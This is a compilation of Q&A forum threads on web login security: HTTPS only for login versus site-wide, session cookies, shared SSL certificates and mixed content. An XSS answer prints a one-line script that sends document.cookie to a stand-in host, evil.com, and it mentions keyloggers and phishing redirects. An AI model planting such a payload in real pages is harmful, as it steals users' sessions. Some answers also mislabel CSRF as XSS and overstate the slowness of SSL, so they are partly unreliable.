I am trying to design an online judge website, which needs visitors to login.
I want to make sure the website is safe.I decided to use https but it seems that https is much slower than http. So I want to use https only at the login page.
I am a n00b about web dev. I googled it and tested it and I found that on a http page I can't get the data stored in the HTML5 localStorage by a https page. It's also impossible to post to a https page from a http page.
So what should I do? Put all the website in https or just using http(is there any secure way to protect the transferred data?)
PS:I want to send username and password through a https connection and get a key and an encrypted sessionID, and when the visitor post the next request, the ID will be decrypted and send to the server and the server will return another encrypted sessionID encrypted by the same key. So I just need to ensure the first connection is safe. Maybe there is a much better way?
Just use HTTPS on your full site. You'll save yourself a bunch of headaches. The only significant performance hit is the initial part of a connection, and to the user, that'll be insignificant as well. Regarding server performance, the browser will re-use established connections for quick subsequent requests reducing the load. I question your assertion of "https is much slower"... is that an assumption or measured?
Related
I know xss attack usees input points of a page to insert javascript code into the page or into server db.
In both cases the javascript code will be activated soon or later on some events.
I imagine an attacker that uses a browser to put javascript code into a server db using maybe an input name.
Another client(victim) makes a request to the same server , maybe it asks for the user classific.
The attacker is in classific , so the attacker name(actually evil javascript code) is inserted in the page the victim requested.
The question is what information can the attacker steal and how?
I imagine the attacker wants to get cookies. And I imagine he wants include one his evil script with the javascript code injected.
In this way he can pass to the jsp/asp or whatever information about cookies.
So if the site is in https , it's possible to include scripts which are in http server?
I don't believe the attacker uses https server to store his scripts because it could be soon easily arrested.
Or maybe there are other ways for the attacker to get information?
I imagine the attacker wants to get cookies. And I imagine he wants include one his evil script with the javascript code injected. In this way he can pass to the jsp/asp or whatever information about cookies.
The question is what information can the attacker steal and how?
Yes, the easiest type of attack would be to steal non HttpOnly cookies.
<script>
new Image().src = 'https://www.evil.com/?' + escape(document.cookie);
</script>
Other attacks include injecting JavaScript keyloggers that send key strokes back to the attacker in a similar fashion, or redirecting the user to phishing sites or to sites containing drive by downloads.
So if the site is in https , it's possible to include scripts which are in http server? I don't believe the attacker uses https server to store his scripts because it could be soon easily arrested.
Interesting question. Yes, the site being HTTPS does not reduce the chances of an XSS flaw. They would need to host their attacking page on a HTTPS enabled web server with a certificate trusted by their victim's machine. This could either be the attackers own machine with a cheap SSL certificate paid for by BitCoin where only the domain is validated (not the organisation), it could be an already compromised machine (e.g. if the attacker already has control over another public website), or it could be a stolen certificate from another hacked site that the attacker is now using on their domain (in combination with a DNS hijack or MITM). Edit: Now it is possible to get free certs from the likes of Let's Encrypt and similar.
Little security is required to get a Domain Validated certificate:
Low assurance certificates include only your domain name in the
certificate. Certificate Authorities usually verify that you own the
domain name by checking the WHOIS record. The certificate can be
issued instantly and is cheaper but, as the name implies, these
certificates provide less assurance to your customers.
You can use a Web Application Firewall to scan and block XSS, including in cookies (though the latter can cause false positives) https://medium.com/p/5d4b1d33219a/edit
For AWS WAF refer to https://aws.amazon.com/waf/
I've just started working on an aspx web from login page for AspNet.Identity.
I have my fields, username and password (textmode="Password") and a submit button (asp:button) as usual with my code behind to do login, etc.
My question is, when my user clicks submit, how is the password sent to the server? Do I need to be on SSL to ensure that the password isn't sent in cleartext?
Edit
StackOverflow's login page isn't over HTTPS - how do they (and other sites that don't use HTTPS) manage password transmission?
One can say that all data submitted from the browser is sent in cleartext (that is, neither browser itself encrypt it, nor when data arrives to your server-side script it requires decryption). All the encryption (if any) is performed at the protocol level.
Plain HTTP doesn't encrypt any information sent over it, which allows for simple inspection (man-in-the-middle attack, eavesdropping). On the other hand, HTTPS creates a secure channel over an otherwise insecure network and protects from said attacks reasonably well.
One caveat to that is using GET to send data to the server. This information can easily end up in server logs.
Depending on the form method GET or POST values are sent to the server.
By default in asp.net the form method is POST so it is send in the body of the request.
If the form method is GET then it sent in the url.
Edit 1
When you use HTTPS the channel is secured. But some time it can be slower than HTTP because HTTPS requires an initial handshake which can be very slow.
Some useful links
Difference between http and https
HTTP vs HTTPS performance
Main problem is that if anyone is able to listen to the traffic from your client to your server, then they will also be able to manipulate what your server sends to client. This issue invalidates all attempts to do some javascript magic to hide it out will be lost effort.
In other words, there is for the time being only SSL to help you out.
I was using Fiddler see on-the-field how web sites use cookies in their login systems. Although I have some HTTP knowledge, I'm just just learning about cookies and how they are used within sites.
Initially I assumed that when submitting the form I'd see no cookies sent, and that the response would contain some cookie info that would then be saved by the browser.
In fact, just the opposite seems to be the case. It is the request that's sending in info, and the server returns nothing.
When fiddling about the issue, I noticed that even with a browser cleaned of cookies, the client seems to always be sending a RequestVerificationToken to the server, even when just looking around withot being signed in.
Why is this so?
Thanks
Cookies are set by the server with the Set-Cookie HTTP response header, and they can also be set through JavaScript.
A cookie has a path. If the path of a cookie matches the path of the document that is being requested, then the browser will include all such cookies in the Cookie HTTP request header.
You must make sure to be careful when setting or modifying cookies in order to avoid XSS attacks against your users. As such, it might be useful to include a hidden and unique secret within your login forms, and use such secret prior to setting any cookies. Alternatively, you can simply check that HTTP Referer header matches your site. Otherwise, a malicious site can copy your form fields, and create a login form to your site on their site, and do form.submit(), effectively logging out your user, or performing a brute-force attack on your site through unsuspecting users that happen to be visiting the malicious web-site.
The RequestVerificationToken that you mention has nothing to do with HTTP Cookies, it sounds like an implementation detail that some sites written in some specific site-scripting language use to protect their cookie-setting-pages against XSS attacks.
When you hit a page on a website, usually the response(the page that you landed on) contains instructions from the server in the http response to set some cookies.
Websites may use these to track information about your behavior or save your preferences for future or short term.
Website may do so on your first visit to any page or on you visit to a particular page.
The browser would then send all cookies that have been set with subsequent request to that domain.
Think about it, HTTP is stateless. You landed on Home Page and clicked set by background to blue. Then you went to a gallery page. The next request goes to your server but the server does not have any idea about your background color preference.
Now if the request contained a cookie telling the server about your preference, the website would serve you your right preference.
Now this is one way. Another way is a session. Think of cookies as information stored on client side. But what if server needs to store some temporary info about you on server side. Info that is maybe too sensitive to be exposed in cookies, which are local and easily intercepted.
Now you would ask, but HTTP is stateless. Correct. But Server could keep info about you in a map, whose is the session id. this session id is set on the client side as a cookie or resent with every request in parameters. Now server is only getting the key but can lookup information about you, like whether you are logged in successfully, what is your role in the system etc.
Wow, that a lot of text, but I hope it helped. If not feel free to ask more.
I was recently looking around at some of the features my current web host offers, and am now wondering about a few things. Even if you can only answer part of this, I appreciate any help you can provide.
I have a domain, mydomian.com, and the host offers shared SSL so I can use HTTPS by using this address https://mydomain.myhost.com. The SSL certificate is good for *.myhost.com.
I don't know a lot about SSL, but I'm assuming this means that the data between site users and ANY domain on myhost.com is encrypted. So was curious if this meant that if someone else on the same host as me somehow intercepted the data from my site would they be able to view it, since they would also have a https://theirdomain.myhost.com address, which uses the same SSL certificate? I may have no idea at all, and this was pretty much a guess.
If HTTPS is used on a login page, but after logging in the other pages are viewed over HTTP, is this a security issue?
Is there any way to show a web form via HTTP for bots like Google, but have real users redirected to the HTTPS version? Would be ideal if this could be done via .htaccess. I currently have some rewrite rules that redirect certain pages to HTTPS, but the rest as HTTP. So if a visitor visits the contact form they get the HTTPS version automatically, but it automatically switches back to HTTP for pages that don't contain forms. So, via htaccess, is there a way to direct real users to the HTTPS version, but have bots directed to the HTTP version? I would like these pages to still be indexed by the search engines, but would like users to see it via HTTPS.
Thanks in advance for any help you can provide.
I'm going to guess you'll be okay for number one. If your host does it correctly, individual subdomains never get to see the SSL keys. Here's how it would work:
Some guy with a browser sends an encrypted request to your subdomain server.
Your host's master server receives the request and decrypts it.
The master server sends the decrypted request to your subdomain server.
And any HTTPS responses you send back go through that process in reverse. It should be easy to check if they've set things up that way: If you can set up shared SSL without personally handling any key files, you're good. If you actually get your hands on some key files... not good.
For two: If you encrypt the login, you protect the passwords, which is good. But if you switch back to HTTP afterwards, you open yourself up to other attacks. See: Firesheep. There may be others.
And for three. Yes - definitely doable. Check out mod_rewrite. Can't give you an example, as I've never used this particular case, but I can point you to this page - particularly the section entitled "Browser Dependent Content."
Hope that helps!
Every traffic is encrypted, when you use https:// as protocol. (Except for some uncommon circumstances I won't talk about here). An SSL certificate's purpose is to prove the identity of the server, by combining it's public key with an identity. This certificate is only usable with the private key that belongs to the public one. In your case it seems that this certificate as well as the key-pair is provided by your hosting provider. I guess that neither you nor the other customers on the host have access to this private key. That means that only your provider is able to decrypt the traffic. Since that's always the case (he's running the server, so has access to every data), that should be no problem.
In most cases it is a security issue. On every further unencrypted http-request the client has to provide some information of the session to the server. These can be intercepted and used by an attacker. (simply speaking)
The bots should support https, why not redirect them? Anyhow: The important part is not to provide the page containing the form via https. To protect your user's data you should take care that the response is transferred via https.
I would like to create web application with admin/checkout sections being secured. Assuming I have SSL set up for subdomain.mydomain.com I would like to make sure that all that top-secret stuff ;) like checkout pages and admin section is transferred securely. Would it be ok to structure my application as below?
subdomain.mydomain.com
adminSectionFolder
adminPage1.php
adminPage2.php
checkoutPagesFolder
checkoutPage1.php
checkoutPage2.php
checkoutPage3.php
homepage.php
loginPage.php
someOtherPage.php
someNonSecureFolder
nonSecurePage1.php
nonSecurePage2.php
nonSecurePage3.php
imagesFolder
image1.jpg
image2.jpg
image3.jpg
Users would access my web application via http as there is no need for SSL for homepage and similar. Checkout/admin pages would have to be accessed via https though (that I would ensure via .htaccess redirects). I would also like to have login form on every page of the site, including non-secure pages. Now my questions are:
if I have form on non-secure page e.g http://subdomain.mydomain.com/homepage.php and that form sends data to https://subdomain.mydomain.com/loginPage.php, is data being send encrypted as if it were sent from https://subdomain.mydomain.com/homepage.php? I do realize users will not see padlock, but browser still should encrypt it, is it right?
EDIT: my apologies.. above in bold I originally typed http but meant https, my bad
2.If on secure page loginPage.php (or any other accessed via https for that instance) I created session, session ID would be assigned, and in case of my web app. something like username of the logged in user. Would I be able to access these session variable from http://subdomain.mydomain.com/homepage.php to for example display greeting message? If session ID is stored in cookies then it would be trouble I assume, but could someone clarify how it should be done? It seems important to have username and password send over SSL.
3.Related to above question I think.. would it actually make any sense to have login secured via SSL so usenrame/password would be transferred securely, and then session ID being transferred with no SSL? I mean wouldnt it be the same really if someone caught username and password being transferred, or caught session ID? Please let me know if I make sense here cause it feels like I'm missing something important.
EDIT: I came up with idea but again please let me know if that would work. Having above, so assuming that sharing session between http and https is as secure as login in user via plain http (not https), I guess on all non secure pages, like homepage etc. I could check if user is already logged in, and if so from php redirect to https version of same page. So user fills in login form from homepage.php, over ssl details are send to backend so probably https://.../homepage.php. Trying to access http://.../someOtherPage.php script would always check if session is created and if so redirect user to https version of this page so https://.../someOtherPage.php. Would that work?
4.To avoid browser popping message "this page contains non secure items..." my links to css, images and all assets, e.g. in case of http://subdomain.mydomain.com/checkoutPage1.php should be absolute so "/images/image1.jpg" or relative so "../images/image1.jpg"? I guess one of those would have to work :)
wow that's long post, thanks for your patience if you got that far and any answers :) oh yeh and I use php/apache on shared hosting
If the SSL termination is on the webserver itself, then you'll probably need to configure seperate document roots for the secure and non-secure parts - while you could specify that these both reference the same physical directory, you're going to get tied in knots switching between the parts. Similarly if your SSL termination is before the webserver you've got no systematic separation of the secure and non-secure parts.
Its a lot tidier to separate out the secure and non-secure parts into seperate trees - note that if you have non-SSL content on a secure page, the users will get warning messages.
Regards your specific questions
NO - whether data is encrypted depends on where it is GOING TO, not where it is coming from
YES - but only if you DO NOT set the secure_only cookie flag - note that if you follow my recommendations above, you also need to ensure that the cookie path is set to '/'
the page which processes the username and password MUST be secure. If not then you are exposing your clients authentication details (most people use the same password for all the sites they visit) and anyone running a network sniffer or proxy would have access.
Your EDIT left me a bit confused. SSL is computationally expensive and slow - so you want to minimise its use - but you need to balance this with your users perception of security - don't keep switching from SSL to non-SSL, and although its perfectly secure for users to enter their details on a page served up by non-SSL which sends to a SSL page, the users may not understand this distinction.
See the first part of my answer above.
C.